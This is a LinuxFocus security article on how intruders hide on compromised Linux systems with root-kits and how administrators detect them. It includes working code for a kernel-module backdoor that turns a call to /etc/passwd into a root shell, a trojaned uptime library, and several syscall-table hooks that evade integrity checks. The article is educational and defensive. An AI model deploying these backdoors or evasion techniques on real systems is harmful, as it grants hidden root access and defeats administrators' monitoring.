|
|
This document is available in: English Deutsch Francais Italiano Russian Turkce |
by Frédéric Raynal aka Pappy (homepage) About the author: Frédéric Raynal has a Ph.D in computer science after a thesis about methods for hiding information. He is the editor in chief of a French magazine called MISC dedicated to computer security. Incidentally, he is looking for a job in R&D. Translated to English by: Georges Tarbouriech <georges.t(at)linuxfocus.org> Content: |
Abstract:
This article was first published in a Linux Magazine France
special issue focusing on security. The editor, the authors and
the translators kindly allowed LinuxFocus to publish every
article from this special issue. Accordingly, LinuxFocus will
bring them to you as soon as they are translated to English.
Thanks to all the people involved in this work. This abstract
will be reproduced for each article having the same origin.
This article presents the different operations a cracker can do after having succeeded in entering a machine. We will also discuss what an administrator can do to detect that the machine has been jeopardized.
Let us assume that a cracker has been able to enter a system, without bothering about the method he used. We consider he has all the permissions (administrator, root...) on this machine. The whole system then becomes untrustable, even if every tool seems to say that everything is fine. The cracker cleaned up everything in the logs... as a matter of fact, he is comfortably installed in your system.
His first goal is to keep as discreet as possible to prevent the administrator from detecting his presence. Next, he will install all the tools he needs according to what he wants to do. Sure, if he wants to destroy all the data, he will not be that careful.
Obviously, the administrator cannot stay connected to his machine listening to every
connection. However he has to detect an unwanted intrusion as fast as possible.
The jeopardized system becomes a launching pad for the cracker's programs (bot
IRC, DDOS, ...). For instance, using a sniffer, he can get all the network
packets. Many protocols do not cypher the data or the passwords (like
telnet
, rlogin
, pop3
, and many others).
Accordingly, the more time the cracker gets, the more he can control the network
the jeopardized machine belongs to.
Once his presence has been detected, another problem appears: we do not know what the cracker changed in the system. He probably jeopardized the basic commands and the diagnostic tools to hide himself. We then must be very strict to be sure not to forget anything, otherwise the system could be jeopardized once again.
The last question concerns the measures to be taken. There are two policies. Either the administrator reinstalls the whole system, or he only replaces the corrupt files. If a full install takes a long time, looking for the modified programs, while being sure of not forgetting anything, will demand great care.
Whatever the preferred method is, it is recommended to make a backup of the corrupt system to discover the way the cracker did the job. Furthermore, the machine could be involved in a much bigger attack, what could lead to legal proceedings against you. Not to backup could be considered as hiding evidences... while these could clear you.
Here, we discuss a few different methods used to become invisible on a jeopardized system while keeping maximum privileges in the exploited system.
Before getting to the heart of the matter, let us define some terminology:
Once he has jeopardized a system, the cracker needs both kinds of programs. Backdoors allow him to get into the machine, including if the administrator changes every password. Trojans mostly allow him to remain unseen.
We do not care at this moment whether a program is a trojan or a backdoor. Our goal is to show the existing methods to implement them (they are rather identical) and to detect them.
Last, let us add that most of Linux distributions offer an authentication
mechanism (i.e verifying at once the files integrity and their origin -
rpm --checksig
, for instance). It is strongly recommended to check
it before any software installation on your machine. If you get a corrupt
archive and install it, the cracker will have nothing else to do:(
This is what happens under Windows with Back Orifice.
In Unix prehistory, it was not very difficult to detect an intrusion on a machine:
last
command shows the account(s) used by the "intruder"
and the place from where he connected with the corresponding dates;
ls
displays files and ps
lists the programs
(sniffer, password crackers...) ;netstat
displays the machine's active connections;
ifconfig
indicates if the network card is in
promiscuous
mode, a mode that allows a sniffer to get all the network
packets...Since then, crackers have developped tools to substitute these commands. Like the Greeks had built a wooden horse to invade Troja, these programs look like something known and thus trusted by the administrator. However, these new versions conceal information related to the cracker. Since the files keep the same timestamps as others programs from the same directory and the checksums have not changed (via another trojan), the "naive" administrator is completely hoodwinked.
Linux Root-Kit
(lrk
) is a classic of its kind
(even if a bit old). Developed at the beginning by Lord Somer, it is today
at its fifth version. There are many others root-kits and here we will only
discuss the features of this one to give you an idea about the abilities of
these tools.
The substituted commands provide privileged access to the system. To prevent
someone using one of these commands from noticing the changes, they are password
protected (default is satori
), and this can be configured at
compile time.
ls
, find
, locate
,
xargs
or du
will not display his files;
ps
, top
or pidof
will conceal his processes; netstat
will not display the unwanted connections
especially to the cracker's daemons, such as
bindshell
, bnc
or
eggdrop
; killall
will keep his processes running;ifconfig
will not show that the network interface is
in promiscuous
mode (the "PROMISC
" string
usually appears when this is true); crontab
will not list his tasks;tcpd
will not log the connections defined in a
configuration file;syslogd
same as tcpd
.chfn
opens a root shell when the root-kit password
is typed as a username;chsh
opens a root shell when the root-kit password
is typed as a new shell;passwd
opens a root shell when the root-kit password
is typed as a password; login
allows the cracker's login as any identity when
the root-kit password is typed (then disables history); su
same as login
;inetd
installs a root shell listening to a
port. After connection, the root-kit password must be entered in the
first line;rshd
executes the asked command as root if the
username is the root-kit password;sshd
works like login
but provides a
remote access; fix
installs the corrupt program keeping the original
timestamp and checksum;linsniffer
captures the packets, get passwords and more;sniffchk
checks that the sniffer is still working;wted
allows wtmp
file editing; z2
deletes the unwanted entries in
wtmp
, utmp
and
lastlog
; This classic root-kit is outdated, since the new generation root-kits directly attack the system kernel. Furthermore, the versions of the affected programs are not used anymore.
As soon as the security policy is strict, this kind of root-kit is easy to detect. With its hash functions, cryptography provides us with the right tool:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Without knowing what has been changed, it can be noticed at once that the
installed ifconfig
and the one from lrk5
are different.
Thus, as soon as a machine installation is over, it is required to backup the sensitive files (back on "sensitive files" later) as hashes in a database, to be able to detect any alteration as fast as possible.
The database must be put on a physically unwritable support (floppy, not rewritable CD...). Let us assume the cracker succeeded in getting administrator privileges on the system. If the database has been put on a read-only partition, enough for the cracker to remount it read-write, to update it and to mount it back read-only. If he is a conscientious one, he will even change the timestamps. Thus, the next time you will check integrity, no difference will appear. This shows that super-user privileges do not provide enough protection for the database updating.
Next, when you update your system, you must do the same with your backup. This way, if you check the updates authenticity, you are able to detect any unwanted change.
However, checking the integrity of a system requires two conditions:
That is, every system check must be done with tools coming from another system (non jeopardized).
As we have seen it, becoming invisible requires the change of many items in the system. Numerous commands allow us to detect if a file exists and each of them must be changed. It is the same for the network connections or the current processes on the machine. Forgetting the later is a fatal error as far as discretion is concerned.
Nowadays, to avoid too big programs, most of the binaries use dynamic libraries. To solve the above mentioned problem, a simple solution is not to change each binary, but put the required functions in the corresponding library, instead.
Let us take the example of a cracker wishing to change a machine's uptime since he
just restarted it. This information is provided by the system through different
commands, such as uptime
, w
, top
.
To know the libraries required by these binaries, we use the
ldd
command:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Apart from libc
, we are trying to find the
libproc.so
library. Enough to get the source code and change what
we want. Here, we will use version 2.0.7, found in the $PROCPS
directory.
The source code for the uptime
command (in
uptime.c
) informs us that we can find the
print_uptime()
function (in
$PROCPS/proc/whattime.c
) and the
uptime(double *uptime_secs, double *idle_secs)
function (in
$PROCPS/proc/sysinfo.c
). Let us change this last according to our
needs:
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* assume never be zero seconds in practice */ 22: }
Adding the lines from 10 to 16 to the initial version, changes the result
the function provides. If the TERM
environment variable does not
contain the "satori
" string, then the up
variable is
proportionally incremented to the logarithm of the real uptime of the machine
(with the formula used, the uptime quickly represents a few years:)
To compile our new library, we add the
-D_LIBROOTKIT_
and -lm
options (for the
log(up);
). When we search with ldd
the required libraries
for a binary using our uptime
function, we can see that
libm
is part of the list. Unfortunately, this is not true for the
binaries installed on the system. Using our library "as is" leads to the
following error:
[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //cmd d'origine libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //original command uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
To avoid compiling each binary it is enough to force the use of the static
math library when creating libproc.so
:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
Thus, the log()
function is directly included into
libproc.so
. The modified library must keep the same dependencies as
the original one, otherwise the binaries using it will not work.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Everything works fine. It looks like top
uses the TERM
environment variable to manage its display. It is better to use another variable
to send the signal indicating to provide the real value.
The implementation required to detect changes in dynamic libraries is similar to
the one previously mentioned. Enough to check the hash. Unfortunately, too many
administrators neglect to calculate the hashes and keep focusing on usual
directories (/bin
, /sbin
, /usr/bin
,
/usr/sbin
, /etc
...) while all the directories holding
these libraries are as sensitives as these usual ones.
However, the interest in modifying dynamic libraries does not only lie in the possibility of changing various binaries at the same time. Some programs provided to check integrity also use such libraries. This is quite dangerous ! On a sensitive system, all the essential programs must be statically compiled, thus preventing them from being affected by changes in these libraries .
Thus, the previously used md5sum
program is rather risky:
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
It dynamically calls functions from libc
which can have been
modified (check with avec nm -D `which md5sum`
). For example, when
using fopen()
, enough to check the file path. If it matches a
cracked program, then it has to be redirected to the original program: the
cracker should have kept it hided somewhere in the system.
This simplistic example shows the possibilities provided to fool the integrity tests. We have seen that they should be done with external tools, that is from outside the jeopardized system (cf. the section about binaries). Now, we discover they are useless if they call functions from the jeopardized system.
Right now, we can build up an emergency kit to detect the presence of the cracker:
ls
to find his files;ps
to control the processes activity;netstat
to monitor the network connections;ifconfig
to know the network interfaces status.These programs represent a minimum. Other commands are also very instructive:
lsof
lists all the open files on the system;fuser
identifies the processes using a file.Let us mention that they are not only used to detect the presence of a cracker, but also to diagnose system troubleshooting.
It is obvious that every program part of the emergency kit must be statically compiled. We have just seen that dynamic libraries can be fatal.
Wanting to change each binary able to detect the presence of a file, wishing to control every function in every library would be impossible. Impossible, you said ? Not quite.
A new root-kit generation appeared. It can attack the kernel.
Unlimited ! As its name says, a LKM acts in the kernel space, thus being able to access and control everything.
For a cracker, a LKM allows:
chroot
);The length of the list depends on the cracker's imagination. However, like it was for the above discussed methods, an administrator can use the same tools and program his own modules to protect his sytem:
How to protect against LKMs ? At compile time, module support can be deactivated
(answering N in CONFIG_MODULES
) or none can be selected (only
answering Y or N). This leads to a so called monolithic kernel.
However, even if the kernel does not have module support, it is possible to load
some of them into memory (not that simple).
Silvio Cesare wrote the kinsmod
program, which allows to attack the
kernel via the /dev/kmem
device, the one managing the memory it
uses (read runtime-kernel-kmem-patching.txt on his page).
To summarize module programming, let us say that everything relies on two
functions with an explicit name: init_module()
and
cleanup_module()
. They define the module behavior. But, since they
are executed in the kernel space, they can access everything in the
kernel memory, like system calls or symbols.
Let us introduce a backdoor installation through a lkm. The user wishing to get a
root shell will only have to run the /etc/passwd
command.
Sure, this file is not a command. However, since we reroute the
sys_execve()
system call, we redirect it to the
/bin/sh
command, taking care of giving the root privileges to this
shell.
This module has been tested with different kernels: 2.2.14, 2.2.16, 2.2.19, 2.4.4. It works fine with all of them. However, with a 2.2.19smp-ow1 (multiprocessors with Openwall patch), if a shell is open, it does not provide root privileges. The kernel is something sensitive and fragile, be careful... The path of the files corresponds to the usual tree of the kernel source code.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Got it:)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded:)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded:(\n"); }
Let us check that everything works as expected:
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
After this short demonstration, let us have a look at the
/var/log/kernel
file content:
syslogd
is here configured to write every message sent by the kernel
(kern.* /var/log/kernel
in
/etc/syslogd.conf
):
[rootshell] Loaded:) [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) [rootshell] Got it:))) [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) [rootshell] Unloaded:(
Slightly changing this module, an administrator can get a very good monitoring
tool. All the commands executed on the system are written into the kernel logs.
The regs.ecx
register holds **argv
and
regs.edx
**envp
, with the
current
structure describing the current task, we get all
the needed information to know what is going on at any time.
From the administrator side, the integrity test does not allow to discover this module anymore (well, not really true, since the module is a very simple one). Then, we will analyze the fingerprints potentially left behind by such a root-kit:
rootshell.o
is not invisible on the file system
since it is a simplistic module. However, enough to redefine
sys_getdents()
to make this file undetectable;sys_kill()
and a new SIGINVISIBLE
signal,
it is possible to hide access to marked files in /proc
(check the adore
lrk); lsmod
command provides a list of the modules loaded in memory:
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]When a module is loaded, it is placed at the beginning of the
module_list
containing all the loaded modules and its name
is added to the /proc/modules
file. lsmod
reads
this file to find information. Removing this module from the
module_list
makes it disappear from
/proc/modules
:
int init_module(void) { [...] if (!module_list->next) //this is the only module:( return -1; // This works fine because __this_module == module_list module_list = module_list->next; [...] }Unfortunately, this prevents us from removing the module from memory later on, unless keeping its address somewhere.
/proc/ksyms
: this file holds the list of the
accessible symbols within the kernel space:
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]The
EXPORT_NO_SYMBOLS
macro, defined in
include/linux/module.h
, informs the compiler that no function
or variable is accessible apart from the module itself:
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }However, for 2.2.18, 2.2.19 et 2.4.x ( x<=3 - I don't know for the others) kernels, the
__insmod_*
symbols stay visible.
Removing the module from the module_list
also deletes
the symbols exported from /proc/ksyms
.
The problems/solutions discussed here, rely on the user space commands. A "good" LKM will use all these technics to stay invisible.
There are two solutions to detect these root-kits. The first one consists in
using the /dev/kmem
device to compare this memory kernel image to
what is found in /proc
. A tool such as kstat
allows to search in /dev/kmem
to check the current system
processes, the system call addresses...
Toby Miller's article Detecting Loadable Kernel Modules (LKM)
describes how use kstat
to detect such root-kits.
Another way, consists in detecting every system call table modification attempt.
The St_Michael
module from Tim Lawless provides such a monitoring.
The following information is likely to change since the module is still on the
work at the time of this writing.
As we have seen in the previous example, the lkm root-kits rely on system call
table modification. A first solution is to backup their address into a secondary
table and to redefine the calls managing the sys_init_module()
and sys_delete_module()
modules. Thus, after loading each module,
it is possible to check that the address matches:
/* Extract from St_Michael module by Tim Lawless */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Verify that the syscall table is the same. If its changed then respond We could probably make this a function in itself, but why spend the extra time making a call? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
This solution protects from present lkm root-kits but it is far from
being perfect. Security is an arms race (sort of), and here is a mean to bypass
this protection. Instead of changing the system call address, why not change
the system call itself ? This is described in Silvio Cesare
stealth-syscall.txt. The attack replaces the first bytes of the system call code
with the "jump &new_syscall
" instruction (here in pseudo Assembly):
/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
Like we protect our binaries and libraries with integrity tests, we must do the
same here. We have to keep a hash of the machine code for every system call. We
work on this implementation in St_Michael
changing
the init_module()
system call, thus allowing an integrity test to
be performed after each module loading.
However, even this way, it is possible to bypass the integrity test (the examples come from mail between Tim Lawless, Mixman and myself; the source code is Mixman's work):
init_module()
, we change the first bytes of a function
(printk()
in the example) to make this function "jump" to
hacked_printk()
/* Extract from printk_exploit.c by Mixman */ static unsigned char hacked = 0; /* hacked_printk() replaces system call. Next, we execute "normal" printk() for everything to work properly. */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }Thus, the integrity test put into
init_module()
redefinition, confirms that no system call has
been changed at load time. However, the next time the
printk()
is called, the change is done...init_module()
, declaring a timer,
activates the change much later than the module loading. Thus, since the integrity
tests were only expected at modules (un)load time, the attack goes
unnoticed:(
/* timer_exploit.c by Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Some sort of periodic checking could be a solution...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Adding kernel timer...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Syscall sys_chdir() should be modified in a few seconds\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.
Maintaining system integrity is not that easy. Though these tests are reliable, the means of bypassing them are numerous. The only solution is to trust nothing when evaluating, particularly when an intrusion is suspected. The best is to stop the system, to start another one (a sane one) for harm evaluation.
Tools and methods discussed in this article are double-edged. They are as good
for the cracker as for the administrator. As we have seen it with the
rootshell
module, which also allows to control who runs what.
When integrity tests are implemented according to a pertinent policy, the classic root-kits are easily detectable. Those based on modules represent a new challenge. Tools to counter them are on the work, like the modules themselves, since they are far from their full abilities. The kernel security worries more and more people, in such a way that Linus asked for a module in charge of security in the 2.5 kernels. This change of mind comes from the big number of available patches (Openwall, Pax, LIDS, kernelli, to mention a few of them).
Anyway, remember that a potentially jeopardized machine cannot check its integrity. You can trust neither its programs nor the information it provides.
adore
and knark
, the most
known lkm root-kits;kstat
to explore /dev/kmem
;aide
(Advanced Intrusion Detection Environment) is a small
but efficient replacement for tripwire
(completely free software).
|
Webpages maintained by the LinuxFocus Editor team
© Frédéric Raynal aka Pappy , FDL LinuxFocus.org |
Translation information:
|
2002-10-27, generated by lfparser version 2.33